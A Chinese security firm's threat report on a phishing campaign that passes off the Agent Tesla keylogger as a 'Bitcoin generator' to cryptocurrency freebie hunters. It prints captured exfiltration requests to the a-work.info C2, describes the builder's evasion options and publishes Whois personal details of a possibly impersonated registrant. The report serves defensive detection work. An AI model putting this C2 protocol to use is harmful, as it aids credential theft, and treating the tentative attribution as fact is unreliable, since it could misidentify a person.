【盗取比特币被刑拘】揭秘盗取“羊毛党”比特币的钓鱼攻击事件

概述
行文之前先界定两个概念。

羊毛党,指关注与热衷于“薅羊毛”的群体,是指那些专门选择企业的营销活动、广告投放等,以低成本甚至零成本来换取高额奖励的人。早期网站站上利用虚假点击来获取广告受益,到现在利用各种营销机制漏洞、程序漏洞来“薅”企业推广的费用的两类群体,本文都统称为“羊毛党”。

比特币,英语Bitcoin,是一种全球通用的互联网加密数字货币,与传统的由特定机构发行或控制的中心化虚拟货币不同,比特币采用点对点网络开发的区块链技术,具有去中心化、匿名不易追踪的特点,因此很多黑客利用比特币逃避交易跟踪,比如wannacry等总众多勒索软件作者。

当比特币作为新兴电子资产被越来越多的人了解和使用时,热爱新鲜事物的羊毛党们靠着敏锐的嗅觉也开始推陈出新,一边利用比特币来进行交易逃避监管,一边利用各种“薅羊毛”方式来赚取比特币积累财富。然而,在这个行业繁荣的背后,隐藏着另一神秘的群体,如同太极里的阴阳,有光明必有黑暗,有繁荣必有摧毁繁荣,这个神秘的群体寄居在“羊毛党”之上,贪婪地薅着同样贪婪地“羊毛党”的羊毛。

近期,东巽科技2046Lab利用东巽威胁情报中心的全球C2(也称C&C,Command and Control Server缩写,指木马的控制和命令服务器)监控平台,就跟踪到这样一批神秘群体。

东巽的全球C2监控平台,实时监控着采集到的全球C2的存活状态。2046Lab的安全研究员通过算法,在监控结果中发现了一批非常相似类型C2上线。通过对这些C2进行深入跟踪分析后,发现了一些有趣的现象,某个C2区区几百个受害者,但被窃取的帐号密码却有近十万对,如下图。据此,我们推测这些受害者应该不是普通的网民,于是对整个C2、受害者和攻击者进行了全面深入的分析。

图 C2控制中心截图

C2与木马分析
2.1 C2与钓鱼页面

本次发现的C2主要位于域名a-work.info下,该域名下有3个C2,且登陆界面一样,基本断定三个C2属于同一个组织操控,并攻击了不少受害者,如下表。

C2受害者总量密码总量logger总量
3229253016213
243499543930
8010487-

攻击者是如何攻下这些受害者?我们通过跟踪分析发现,攻击者制造了非常精美的比特币相关钓鱼页面,并托管在和两个地址,引诱受害者下载钓鱼页面提供的“比特币生成器”,如下图。

图 “比特币生成器”钓鱼网页

然而,这款“比特币生成器”实际上是一个名为Agent Tesla的Keylogger类型木马,其功能主要有窃取浏览器、邮件、FTP等密码,收集键盘记录、粘贴板信息,获取截屏和网络摄像头。受害者一旦被植入该木马,则会将上述密码、信息发送到a-work.info下某个C2控制中心。

2.2木马流量分析

安全研究员从上述钓鱼页面下载了所谓的“比特币生成器”,运行后进行了流量分析。在捕获的数据包中,可以明显的看到木马连回a-work.info站点,如下图。

图木马执行后回连C2

同时,捕获到以下数据包:

1、发送受害者基本信息到服务器,关键参数为type=info,其他hwid为唯一编号,pcname为用户名和计算机名称。

POST /steamx/post.php HTTP/1.1Host: a-work.infoUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)Content-Length: 157Content-Type: application/x-www-form-urlencodedExpect: 100-continueX-Lantern-Version: 3.7.4Accept-Encoding: gzip type=info&hwid=FCE7-4911-DBB4-64F8-E31F-B2BB-8084-F2C8&time=2017-07-28 10:43:52&pcname=Administrator/i-3511je5j&logdata=&screen=&ipadd=&webcam_link=&client=&link=&username=&password=&screen_link=

2、每隔2分钟发送一次心跳包,关键参数为type=update。

type=update&hwid=FCE7-4911-DBB4-64F8-E31F-B2BB-8084-F2C8&time=2017-07-28 10:54:06&pcname=Administrator/i-3511je5j&logdata=&screen=&ipadd=&webcam_link=&client=&link=&username=&password=&screen_link=

3、发送屏幕截图,关键参数为type=screenshots,数据字段为screen,截图数据数据量较大,内容用{$data}代替。

type=screenshots&hwid=FCE7-4911-DBB4-64F8-E31F-B2BB-8084-F2C8&time=2017-07-28 11:04:06&pcname=Administrator/i-3511je5j&logdata=&screen={$data}&ipadd=&webcam_link=&client=&link=&username=&password=&screen_link=

4 、发送键盘记录和粘贴板记录,关键参数为type=keylog,数据字段为logdata,内容较多用{$data}代替。

type=keylog&hwid=FCE7-4911-DBB4-64F8-E31F-B2BB-8084-F2C8&time=2017-07-28 11:04:06&pcname=Administrator/i-3511je5j&logdata={$data}&screen=&ipadd=&webcam_link=&client=&link=&username=&password=&screen_link=

5、发送窃取的密码,关键字段为type=passwords,数据字段为username和password,内容较多用较多用{$data}代替。

type=passwords&hwid=FCE7-4911-DBB4-64F8-E31F-B2BB-8084-F2C8&time=2017-07-28 11:04:06&pcname=Administrator/i-3511je5j&logdata=&screen=&ipadd=&webcam_link=&client=&link=&username=&password={$data}&screen_link=

综合以上数据可以看到,木马的流量中关键指令为type=info/update/screenshots/keylog/passwords,每一次通信过程中,数据字段都有hwid、pcname、logdata、screen、ipadd、webcam_link、client、link、username、password、screen_link,网关类的设备可以此为基础来生成检测和阻断规则。

2.3木马行为分析

安全研究员同时对木马运行后的行为进行了分析,捕获到以下木马特征行为:

1、木马启动后伪造报错信息并复制自身到C:\Users\当前用户\AppData\Local\Temp目录,然后自删除。

图释放文件

2、修改注册表,并将自己添加到启动项中。

图修改键盘钩子2.4木马生成器分析

根据木马的行为分析来看,这款木马还是具有很明显的木马特征,按道理很多杀软应该可以轻易的查杀,但为什么还是有不少受害者中招,抱着这个好奇心以及本着透彻分析的原则,东巽2046Lab的安全研究员对木马的生成器进行了分析。由于没有捕获到本次攻击者使用的生成器,考虑到和官方的生成器存在一致性,便对官方的生成器进行分析做参考。

Agent tesla是一款市面上公开的keylogger类型木马,其官网为,如下图。透过官网可以看到,页面做得非常专业,提供木马的同时提供web panel管理页面和私有加密;支持全系列Windows系统;服务也是非常周到,提供自动购买、激活和7x24小时的支持,可以算是达到了SasS行业的标准。

安全研究员对生成器的分析结果如下:

1、木马支持WEB、FTP、邮件三种数据接收方式,很明显本次跟踪到的C2采用了web接收方式。

图数据发送方式配置

2、木马的记录器(LOGGER)功能可进行任意配置,如键盘记录、粘贴板记录、截屏、摄像头拍照,正好印证了木马流量分析结果。

图木马记录器配置

3、木马窃取密码种类繁多,几乎涵盖了主流的浏览器、邮件客户端(连国内常用的foxmail都包含了)和一些ftp、Winscp等管理工具,并可以随意配置。

图木马窃取密码配置

4、木马生成器的常见配置中还包括了安装时bypass UAC,直接杀进程、禁用任务管理器、系统恢复等功能,甚至可配置运行后伪装成提示、报错等功能来迷惑受害者。

图安装配置

图安装后提示信息
3
3.1行业分析

如前述,根据受害者数量和密码数量的比值,推测受害者不是普通网名。于是安全研究员将受害者的数据进行整理和统计,发现了更加有意思内容,大部分单个受害者的账号和密码数量都很大,甚至某单个受害的帐号密码居然高达9510条。受害者是谁,做什么行业需要大量的账号和密码?安全研究员对受害者账号密码对应的站点进行了统计,截取了总量前20的网站:

序号网站出现数量
1599
2588
3414
4351
5/308
6307
7294
8283
9279
10279
11255
12254
13236
14235
15230
16217
17214
18214
19213
20213

排除常见的邮箱、社交站点外,安全研究员分析了靠前几个站点。其中: (英语),注册进去后发现这个网站功能齐全,包括投资、赌博、推广等内容,经营行业横跨金融理财、赌博、挖矿等行业。

图 freebitco.in站点

https://freedoge.co.in/(英文),是一个免费获取dogecoins(国内称“狗币”)的站点。

图 adbtc.top站点

(俄语),是个云挖矿类型的网站,靠售卖算力盈利,同时也提供推广,返利按级别分别为20%,10%,3%,2%,1%。

图 kapitalof.com站点

通过以上网站分析,受害者访问多是和比特币等虚拟币相关的网站,结合木马伪装成“比特币生成器”来看,我们认为受害者主要是跟虚拟货币相关的“羊毛党”,从事SEO、广告、挖矿、薅羊毛等网赚项目。

3.2地域分析

受害者共计645个,通过分析受害者的IP地理位置信息,发现受害者主要来自俄语系国家,其中又以俄罗斯为最为严重,占到了近一半的比例,这也印证了上述站点中为何mail.ru排名靠前,且vk.com和yandex.ru等典型俄语系社交站点也靠前。

图受害者国家分布图受害者地理位置分布
4
4.1地域分析

安全研究员对攻击者进行了一定时间的跟踪,根据跟踪到的攻击者的操作日志提取到信息来看,攻击者是有一定经验的熟手,经常会利用VPN来管理C2。排除VPN后,综合攻击者使用的浏览器语言,推测攻击者的真实IP可能为194.165.18.*,目前可能生活在俄罗斯,常使用VyprVPN来隐藏身份,母语为俄语。

图攻击者位置和系统4.2身份分析

C2的域名a-work.info存活时其IP指向185.28.102.63,隶属于forpsicloud.sk云服务商,位于捷克的一个机房中,说明攻击者购买的是云主机。这个网站的主要语言以俄语为主,符合上述攻击者语言为俄语推断。file-loader.download和uljob.info设置了域名隐私保护,但通过对a-work.info的Whois信息进行查询,截取了以下重要信息:

Domain name: a-work.info
Registrar URL: http://www.namecheap.com
Updated Date: 2017-07-30T04:49:51.00Z
Creation Date: 2017-02-13T09:34:23.00Z
Registrar Registration Expiration Date: 2018-02-13T09:34:23.00Z
Domain Status: clientTransferProhibited
Registrant Name: David Kazaryan
Registrant Organization:
Registrant Street: 1 Sovetskiy Pereylok
Registrant City: Chelkovo
Registrant State/Province: Moskovskaya obl
Registrant Postal Code: 121000
Registrant Country: RU
Registrant Phone: +7.9507287546
Registrant Email: mr.omon@inbox.ru
Registry Admin ID: 3zb5xw53ltduhlgz
Admin Name: David Kazaryan

根据以上注册人、注册邮箱、电话等信息,进行了反查得到了其他几个域名,整理后关系如下:

图 C2域名反查结果

整理后详细信息如下表:

Domaina-work.infodkazaryan.orgdkazaryan.info注册人David KazaryanDavid KazaryanDavid KazaryanDavid Kazaryan注册邮箱mr.omon@inbox.rukazaryandesign@gmail.com注册电话+7.9507287546+1.2482590389+1.2482590389+1.2482590389注册国家RUUSUSUS创建时间2017-02-13T09:34:23Z 2017-01-22T04:52:27Z2017-01-22T04:19:16Z2017-01-22T04:19:12Z过期时间2018-02-13T09:34:23Z2019-01-22T04:52:27Z2018-01-22T04:19:16Z2018-01-22T04:19:12Z最近更新时间2017-07-30T04:49:51Z 2017-01-22T04:52:28Z2017-03-24T03:46:12Z2017-03-23T20:31:38Z供应商指向IP185.28.102.6350.63.202.3650.63.202.44184.168.221.46

通过上述信息可以看到,所有的域名都指向名叫David Kazaryan的人,并且可以肯定的是:kazaryandavid.com、dkazaryan.org、dkazaryan.info一定隶属于同一个人,理由是:

1)注册邮箱都是kazaryandesign@gmail.com。

2)注册电话都是+1.2482590389。

3)注册时间非常接近,都是2017-01-22 04点左右,甚至可以推测dkazaryan.org、dkazaryan.info是一次提交,选择的两个域名注册申请,因为注册时间、过期十分接近,其他信息完全一样。

如果a-work.info和其他三个域名一样,都是同一个人,那基本可以锁定攻击者的真实身份。于是我们通过社交站点找到了David Kazaryan这个人,如下图。

图 David Kazaryan资料

从资料看,David Kazaryan是一名设计师,2012年从美国某大学本科毕业,推算至今28岁左右,俄语流利。

同时,我们尝试对mr.omon@inbox.ru邮箱进行密码找回,发现其附加的找回邮箱是随意填写的地址,除此之外,暂未找到其他与该邮箱有关信息,推测该邮箱可能是一个临时申请邮箱。

图mr.omon@inbox.ru邮箱的密码找回

综合以上信息,从C2站点a-work.info的分析结果,我们推测攻击者位置为俄罗斯,母语为俄语。虽然其注册人为David Kazaryan,并且个人资料中俄语流利,但综合来看更像美国人。考虑到我们暂未找到其与a-work.info其他交集的信息的情况下,虽然不能排除David Kazaryan(kazaryandesign@gmail.com)的嫌疑,但我们更倾向于认为攻击者仅仅冒用了David Kazaryan这个名字。

4.3 时间线分析

整理C2域名创建、钓鱼网站域名创建和受害者数据日期统计后,得到下图:

图部署和数据时间线

从图可以看出,攻击者在2月开始进行C2和钓鱼站点域名申请和部署,3月开始投入使用,7月13日不管是受害者上线量,还是密码和记录器数据,都到达了数据顶峰(7月5日之前密码和记录器数据已被转移),说明在7月中旬是攻击者最活跃的时期。

4.4意图分析

综合以上信息:钓鱼页面为比特币生成器页面,木马是一款密码记录器,受害者为SEO、挖矿等羊毛党,且被窃取的数据多为比特币钱包地址和密码,再结合近半年比特币行情飙升来看,可以断定:攻击者的意图是盗取羊毛党们的比特币等虚拟货币资产,自己赚一笔。

总结

从上述分析结果来看,本例C2完全定性为一起“黑产”事件,不过和以往见到的黑产不太一样的是,这起黑产针对的是“羊毛党”,略带点“黑吃黑”的黑帮剧情。使用的技术不算高深,但依然有效,TTPs简要总结如下:

表 TTPs总结

关键项本次攻击事件情况说明
主要攻击目标SEO、挖矿、广告联盟等羊毛党
目标国家俄罗斯为主,以及周边俄语系国家
关键作用点个人PC电脑
攻击手法钓鱼页面->Agent telsa木马
攻击目的窃取网站账号和密码,盗取比特币等虚拟货币资产
漏洞使用情况
免杀技术直接购买的定期更新的Agent telsa,本身具备较强的免杀和迷惑性
活跃程度2月开始部署,3月开始投放并有上线,7月中旬达顶峰
反追踪能力有一定的跟踪能力,利用vpn来访问C2页
攻击源位于俄罗斯(194.165.18.*)的俄语系攻击者,有一定的可能性叫David Kazaryan。

此外,从这起事件来看,可以预见木马即服务(MaSS)会越来越热,黑产的上下游越来越清晰,也越来越专业,逐渐演变成一种标准化的软件服务,致使攻击变得更加简单和低成本,攻击者无须自行开发木马,也无须私下联系木马开发者,想要实施一次攻击,只需要在互联网上买一个月就好了。

所以,东巽科技建议用户尽量不要下载使用来源不明的软件和工具,尤其是破解、网赚一类,这些常常是木马伪装的重灾区,当你在考虑轻松赚钱或者免费使用付费软件的时候,也正是被攻击者盯上的时候。如果你的数据资产很敏感很重要,建议加强网络安全方面的建设,并邀请专业的安全团队进行定期的安全检测。

注:

东巽全球C2监控平台,是东巽科技自研的一个全球C2的存活状态的监控平台,用于监控C2的存活情况和分析攻击者的活跃程度,为用户提供威胁情报。

东巽2046Lab,是东巽科技的一个安全研究实验室,主要从事样本研究、异常流量研究、Web攻防研究、C2跟踪等网络安全方面的研究。

完整报告请点击阅读原文

撰稿:2046Lab@东巽科技编辑:唐学菲

推荐阅读

?【安在专访】做一件事要多久?张耀疆说,十年